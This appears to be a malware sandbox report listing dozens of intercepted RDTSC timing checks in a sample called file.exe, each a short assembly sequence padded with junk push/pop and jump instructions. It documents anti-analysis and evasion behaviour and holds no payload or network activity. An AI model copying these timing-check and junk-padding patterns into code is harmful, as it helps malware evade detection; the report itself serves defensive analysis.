Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B42BC second address: 4B42DE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF2192CCE0Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jne 00007FF2192CCE06h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FF2192CCE06h 0x0000001c jg 00007FF2192CCE06h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B42DE second address: 4B42EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF218C0A9D8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B77B7 second address: 4B77C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B70B6 second address: 4B70DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jl 00007FF218C0A9ECh 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FF218C0A9E4h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B73A8 second address: 4B73AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4B73AC second address: 4B73B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BE68F second address: 4BE695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BCE30 second address: 4BCE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BCE34 second address: 4BCE4F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF2192CCE06h 0x00000008 jc 00007FF2192CCE06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnl 00007FF2192CCE08h 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD143 second address: 4BD16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FF218C0A9E9h 0x0000000d jbe 00007FF218C0A9D6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD2C5 second address: 4BD2CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD461 second address: 4BD467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD5E7 second address: 4BD5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD5EB second address: 4BD5FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF218C0A9DAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD5FB second address: 4BD61C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF2192CCE06h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF2192CCE14h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4704AE second address: 4704BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4704BF second address: 4704C9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF2192CCE0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD77F second address: 4BD788 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4BD8ED second address: 4BD8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C2916 second address: 4C2937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF218C0A9D6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007FF218C0A9D6h 0x00000016 pop edx 0x00000017 jmp 00007FF218C0A9DAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C2937 second address: 4C294C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF2192CCE0Fh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C294C second address: 4C2956 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF218C0A9D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1C2D second address: 4C1C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF2192CCE06h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007FF2192CCE0Ah 0x00000011 ja 00007FF2192CCE12h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1DBD second address: 4C1DC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1DC7 second address: 4C1DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1DCD second address: 4C1DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1DD1 second address: 4C1DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C1F14 second address: 4C1F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF218C0A9D6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C2202 second address: 4C220D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C239B second address: 4C239F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C6188 second address: 4C618C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4C6719 second address: 4C671D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CE66C second address: 4CE674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CC83B second address: 4CC843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CCC6B second address: 4CCC71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CCC71 second address: 4CCC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CCC75 second address: 4CCC7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CD1CD second address: 4CD1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CDD8D second address: 4CDD93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4CE063 second address: 4CE080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E4h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D2EC1 second address: 4D2EDB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF2192CCE06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jng 00007FF2192CCE06h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D8486 second address: 4D8491 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D8491 second address: 4D84A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FF2192CCE0Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D84A2 second address: 4D84AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4D84AC second address: 4D84B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEAEC second address: 4DEAF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEAF0 second address: 4DEAF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEAF4 second address: 4DEB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF218C0A9DEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEB0B second address: 4DEB12 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEE19 second address: 4DEE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEF67 second address: 4DEF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEF6D second address: 4DEF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEF72 second address: 4DEF84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007FF2192CCE06h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEF84 second address: 4DEFD0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF218C0A9D6h 0x00000008 jmp 00007FF218C0A9E3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jng 00007FF218C0AA15h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FF218C0A9DFh 0x0000001e jmp 00007FF218C0A9E6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DEFD0 second address: 4DEFDD instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DF4D7 second address: 4DF4F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FF218C0A9E8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DF4F6 second address: 4DF4FB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DF652 second address: 4DF656 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DF656 second address: 4DF66D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FF2192CCE0Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DF80F second address: 4DF821 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF218C0A9D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007FF218C0A9DCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4DFF43 second address: 4DFF6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Ah 0x00000007 jmp 00007FF2192CCE10h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007FF2192CCE18h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FF2192CCE06h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8275 second address: 4E827B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E827B second address: 4E8290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF2192CCE0Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E8290 second address: 4E82B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF218C0A9E6h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FF218C0A9DBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7CF9 second address: 4E7D03 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF2192CCE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7D03 second address: 4E7D0F instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF218C0A9DEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7E6E second address: 4E7E76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7E76 second address: 4E7E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4E7E7E second address: 4E7E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F6600 second address: 4F661A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FF218C0A9D6h 0x0000000a pop edx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007FF218C0A9D6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F64AE second address: 4F64B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8D4E second address: 4F8D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8D52 second address: 4F8DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FF2192CCE0Ah 0x0000000c pop edi 0x0000000d jmp 00007FF2192CCE0Ch 0x00000012 jmp 00007FF2192CCE19h 0x00000017 popad 0x00000018 pushad 0x00000019 jns 00007FF2192CCE1Eh 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4F8DAD second address: 4F8DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FCB6F second address: 4FCB79 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF2192CCE0Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FCB79 second address: 4FCB9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF218C0A9E2h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d ja 00007FF218C0A9E6h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FCB9F second address: 4FCBA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FF30D second address: 4FF32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF218C0A9E8h 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FF32E second address: 4FF366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF2192CCE10h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 jmp 00007FF2192CCE15h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FF366 second address: 4FF36E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4FF36E second address: 4FF381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE0Eh 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 507FED second address: 50800D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E9h 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50EFE3 second address: 50EFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50EFEC second address: 50EFF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50EFF2 second address: 50F011 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50F011 second address: 50F027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 jmp 00007FF218C0A9DFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 50EE97 second address: 50EE9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 516DD7 second address: 516DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5170B9 second address: 5170BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5170BD second address: 5170C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 517291 second address: 51729B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF2192CCE06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 518192 second address: 518196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51BD38 second address: 51BD42 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF2192CCE06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 51BD42 second address: 51BD48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5353DC second address: 5353F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF2192CCE13h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538FD0 second address: 538FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538CE4 second address: 538CEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 538CEA second address: 538CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551182 second address: 55118C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551736 second address: 551758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF218C0A9E4h 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 551A49 second address: 551A7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF2192CCE12h 0x00000009 jmp 00007FF2192CCE19h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
